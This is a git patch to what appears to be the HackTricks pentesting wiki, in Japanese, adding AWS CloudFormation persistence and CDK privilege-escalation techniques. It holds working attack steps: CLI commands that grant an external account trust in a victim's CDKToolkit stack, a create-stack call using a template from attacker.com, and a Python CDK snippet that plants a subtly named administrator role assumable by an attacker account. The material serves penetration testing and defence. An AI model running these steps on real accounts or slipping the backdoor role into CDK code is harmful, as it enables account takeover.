From ebcb32b46d765d464223e4fa05b77823fe438f72 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 7 Apr 2025 01:35:17 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-cloud --- src/SUMMARY.md | 1 + .../aws-cloudformation-persistence.md | 23 ++++++ .../aws-cloudformation-privesc/README.md | 71 +++++++++++++++---- .../aws-cloudformation-and-codestar-enum.md | 16 +++-- 4 files changed, 93 insertions(+), 18 deletions(-) create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 5939f1183..a470914ae 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -211,6 +211,7 @@ - [AWS - Permissions for a Pentest](pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md) - [AWS - Persistence](pentesting-cloud/aws-security/aws-persistence/README.md) - [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md) + - [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md) - [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md) - [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md) - [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md) diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md new file mode 100644 index 000000000..211c36016 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md @@ -0,0 +1,23 @@ +# AWS - Cloudformation Persistence + +{{#include ../../../banners/hacktricks-training.md}} + +## CloudFormation + +詳細情報については、次にアクセスしてください: + +{{#ref}} +../aws-services/aws-cloudformation-and-codestar-enum.md +{{#endref}} + +### CDKブートストラップスタック + +AWS CDKは、`CDKToolkit`と呼ばれるCFNスタックをデプロイします。このスタックは、外部アカウントが被害者アカウントにCDKプロジェクトをデプロイできるようにするパラメータ`TrustedAccounts`をサポートしています。攻撃者は、AWS cliを使用してパラメータでスタックを再デプロイするか、AWS CDK cliを使用して、被害者アカウントへの無期限のアクセスを自分に付与するためにこれを悪用できます。 +```bash +# CDK +cdk bootstrap --trust 1234567890 + +# AWS CLI +aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890 +``` +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md index 36d578838..f17cb4b8a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md @@ -18,7 +18,7 @@ aws cloudformation create-stack --stack-name \ --template-url http://attacker.com/attackers.template \ --role-arn ``` -以下のページには、追加の権限 **`cloudformation:DescribeStacks`** を持つ **エクスプロイトの例**があります: +以下のページには、追加の権限 **`cloudformation:DescribeStacks`** を持つ **エクスプロイトの例** があります: {{#ref}} iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md @@ -37,23 +37,23 @@ aws cloudformation update-stack \ --capabilities CAPABILITY_IAM \ --region eu-west-1 ``` -`cloudformation:SetStackPolicy` 権限を使用して、**自分に `UpdateStack` 権限を与え**、攻撃を実行できます。 +`cloudformation:SetStackPolicy` 権限を使用して、**スタックに対して `UpdateStack` 権限を付与**し、攻撃を実行できます。 **潜在的な影響:** 指定された cloudformation サービスロールへの権限昇格。 ### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy` -この権限を持っているが **`iam:PassRole` がない場合**でも、**使用されているスタックを更新**し、**既に添付されている IAM ロールを悪用**することができます。前のセクションでのエクスプロイトの例を確認してください(更新時にロールを指定しないでください)。 +この権限を持っているが、**`iam:PassRole`** がない場合でも、**使用されているスタックを更新**し、**既に添付されている IAM ロールを悪用**することができます。悪用の例については前のセクションを確認してください(更新時にロールを指定しないでください)。 -`cloudformation:SetStackPolicy` 権限を使用して、**自分に `UpdateStack` 権限を与え**、攻撃を実行できます。 +`cloudformation:SetStackPolicy` 権限を使用して、**スタックに対して `UpdateStack` 権限を付与**し、攻撃を実行できます。 **潜在的な影響:** 既に添付されている cloudformation サービスロールへの権限昇格。 ### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`) -ロールを**渡す権限**と**ChangeSet を作成および実行する権限**を持つ攻撃者は、**新しい cloudformation スタックを作成/更新し、cloudformation サービスロールを悪用**することができます。これは CreateStack または UpdateStack と同様です。 +ロールを**渡し、ChangeSet を作成および実行する**権限を持つ攻撃者は、**新しい cloudformation スタックを作成/更新し、cloudformation サービスロールを悪用**することができます。これは CreateStack または UpdateStack と同様です。 -以下のエクスプロイトは、**ChangeSet 権限を使用してスタックを作成する**[ **CreateStack のバリエーション**](./#iam-passrole-cloudformation-createstack)です。 +以下の悪用は、**ChangeSet 権限を使用してスタックを作成する**[ **CreateStack のバリエーション**](#iam-passrole-cloudformation-createstack)です。 ```bash aws cloudformation create-change-set \ --stack-name privesc \ @@ -79,32 +79,77 @@ aws cloudformation describe-stacks \ --stack-name privesc \ --region eu-west-1 ``` -`cloudformation:SetStackPolicy` 権限を使用して、スタックに対して **自分に `ChangeSet` 権限を与える** ことができ、攻撃を実行できます。 +`cloudformation:SetStackPolicy` 権限を使用して、**自分に `ChangeSet` 権限を与え**、攻撃を実行できます。 **潜在的な影響:** cloudformation サービスロールへの権限昇格。 ### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`) -これは前の方法と似ていますが、**IAM ロール**を渡すことなく、すでにアタッチされているロールを **悪用する** ことができます。パラメータを変更するだけです: +これは前の方法と似ていますが、**IAM ロール**を渡さずに行うため、**すでにアタッチされているロールを悪用する**ことができます。パラメータを変更するだけです: ``` --change-set-type UPDATE ``` -**潜在的な影響:** すでにアタッチされているcloudformationサービスロールへの権限昇格。 +**潜在的影響:** すでにアタッチされているcloudformationサービスロールへの権限昇格。 ### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`) -攻撃者はこれらの権限を悪用して、任意のcloudformationロールを悪用するためにStackSetsを作成/更新することができます。 +攻撃者はこれらの権限を悪用してStackSetsを作成/更新し、任意のcloudformationロールを悪用することができます。 -**潜在的な影響:** cloudformationサービスロールへの権限昇格。 +**潜在的影響:** cloudformationサービスロールへの権限昇格。 ### `cloudformation:UpdateStackSet` -攻撃者はpassRole権限なしでこの権限を悪用して、アタッチされたcloudformationロールを悪用するためにStackSetsを更新することができます。 +攻撃者はpassRole権限なしでこの権限を悪用してStackSetsを更新し、アタッチされたcloudformationロールを悪用することができます。 -**潜在的な影響:** アタッチされたcloudformationロールへの権限昇格。 +**潜在的影響:** アタッチされたcloudformationロールへの権限昇格。 +## AWS CDK + +AWS cdkは、ユーザーが既に慣れ親しんでいる言語でインフラストラクチャをコードとして定義できるツールキットであり、セクションを簡単に再利用できます。CDKはその後、高レベルのコード(つまりpython)をCloudformationテンプレート(yamlまたはjson)に変換します。 + +CDKを使用するには、管理者ユーザーが最初にアカウントをブートストラップする必要があり、これによりいくつかのIAMロールが作成されます。これには、\*/\*権限を持つ*exec role*が含まれます。これらのロールは、`cdk----`という命名構造に従います。ブートストラッピングは、アカウントごとに地域ごとに一度行う必要があります。 + +デフォルトでは、CDKユーザーはCDKを使用するために必要なロールをリストするアクセス権を持っていないため、それらを手動で特定する必要があります。開発者のマシンやCI/CDノードを侵害した場合、これらのロールを引き受けてCFNテンプレートをデプロイする能力を自分に付与することができ、`cfn-exec`ロールを使用してCFNが任意のリソースをデプロイできるようにし、アカウントを完全に侵害します。 + +### ロール名の特定 + +`cloudformation:DescribeStacks`を持っている場合、ロールは`CDKToolkit`というスタックに定義されており、そこから名前を取得できます。 + +CDKプロジェクトのビルドとデプロイに使用されたマシンにいる場合、プロジェクトのルートディレクトリにある`cdk.out/manafest.json`からそれらを取得できます。 + +また、それらが何であるかを良い推測をすることもできます。`qualifier`は、CDKブートストラップの複数のインスタンスを同時にデプロイできるようにするためにロールに追加される文字列ですが、デフォルト値は`hnb659fds`にハードコーディングされています。 +``` +# Defaults +cdk-hnb659fds-cfn-exec-role-- +cdk-hnb659fds-deploy-role-- +cdk-hnb659fds-file-publishing-role-- +cdk-hnb659fds-image-publishing-role-- +cdk-hnb659fds-lookup-role-- +``` +### プロジェクトソースに悪意のあるコードを追加する + +プロジェクトソースに書き込むことができるが、自分でデプロイできない場合(例えば、開発者がCI/CDを介してコードをデプロイする場合)、スタックに悪意のあるリソースを追加することで環境を侵害することができます。以下は、攻撃者アカウントによって引き受けられるIAMロールをpython CDKプロジェクトに追加します。 +```python +class CdkTestStack(Stack): +def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None: +super().__init__(scope, construct_id, **kwargs) + +# ---------- +# Some existing code..... +# ---------- + +role = iam.Role( +self, +"cdk-backup-role", # Role name, make it something subtle +assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role +managed_policies=[ +iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess +], +) +``` ## 参考文献 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) +- [https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml](https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md index 5cd9e3cab..cffff6f45 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md @@ -4,7 +4,7 @@ ## CloudFormation -AWS CloudFormationは、**AWSリソースの管理を効率化するために設計されたサービス**です。これにより、ユーザーは**リソース管理にかかる時間を最小限に抑えることで、AWS上で実行されるアプリケーションにより集中できる**ようになります。このサービスのコア機能は**テンプレート**であり、これは希望するAWSリソースの記述モデルです。このテンプレートが提供されると、CloudFormationは指定されたリソースの**プロビジョニングと構成**を担当します。この自動化により、AWSインフラストラクチャのより効率的でエラーのない管理が促進されます。 +AWS CloudFormationは、**AWSリソースの管理を効率化するために設計されたサービス**です。これにより、ユーザーは**リソース管理にかかる時間を最小限に抑えることで、AWS上で実行されているアプリケーションにより集中できる**ようになります。このサービスのコア機能は**テンプレート**であり、これは希望するAWSリソースの記述モデルです。このテンプレートが提供されると、CloudFormationは指定されたリソースの**プロビジョニングと構成**を担当します。この自動化により、AWSインフラストラクチャのより効率的でエラーのない管理が促進されます。 ### Enumeration ```bash @@ -31,19 +31,25 @@ aws cloudformation list-stack-set-operation-results --stack-set-name --op ``` ### Privesc -次のページでは、**cloudformationの権限を悪用して特権を昇格させる方法**を確認できます: +以下のページでは、**cloudformationの権限を悪用して特権を昇格させる方法**を確認できます: {{#ref}} ../aws-privilege-escalation/aws-cloudformation-privesc/ {{#endref}} +### Persistence + +{{#ref}} +../aws-persistence/aws-cloudformation-persistence.md +{{#endref}} + ### Post-Exploitation 各CloudFormationの**テンプレート、パラメータ、出力**に**秘密**や機密情報がないか確認してください。 ## Codestar -AWS CodeStarは、AWS上でソフトウェア開発プロジェクトを作成、管理、作業するためのサービスです。AWS CodeStarプロジェクトを使用して、AWS上でアプリケーションを迅速に開発、構築、デプロイできます。AWS CodeStarプロジェクトは、プロジェクト開発ツールチェーンのために**AWSサービスを作成および統合**します。AWS CodeStarプロジェクトテンプレートの選択に応じて、そのツールチェーンにはソース管理、ビルド、デプロイ、仮想サーバーまたはサーバーレスリソースなどが含まれる場合があります。AWS CodeStarはまた、プロジェクトユーザー(チームメンバーと呼ばれる)に必要な権限を**管理**します。 +AWS CodeStarは、AWS上でソフトウェア開発プロジェクトを作成、管理、作業するためのサービスです。AWS CodeStarプロジェクトを使用して、AWS上でアプリケーションを迅速に開発、構築、デプロイできます。AWS CodeStarプロジェクトは、プロジェクト開発ツールチェーンのために**AWSサービスを作成および統合**します。AWS CodeStarプロジェクトテンプレートの選択に応じて、そのツールチェーンにはソース管理、ビルド、デプロイ、仮想サーバーまたはサーバーレスリソースなどが含まれる場合があります。AWS CodeStarは、プロジェクトユーザー(チームメンバーと呼ばれる)に必要な権限も**管理**します。 ### Enumeration ```bash @@ -56,9 +62,9 @@ aws codestar list-team-members --project-id aws codestar list-user-profiles aws codestar describe-user-profile --user-arn ``` -### プライベートエスカレーション +### プライバシー昇格 -次のページでは、**codestarの権限を悪用して特権を昇格させる方法**を確認できます: +次のページでは、**codestarの権限を悪用して権限を昇格させる方法**を確認できます: {{#ref}} ../aws-privilege-escalation/aws-codestar-privesc/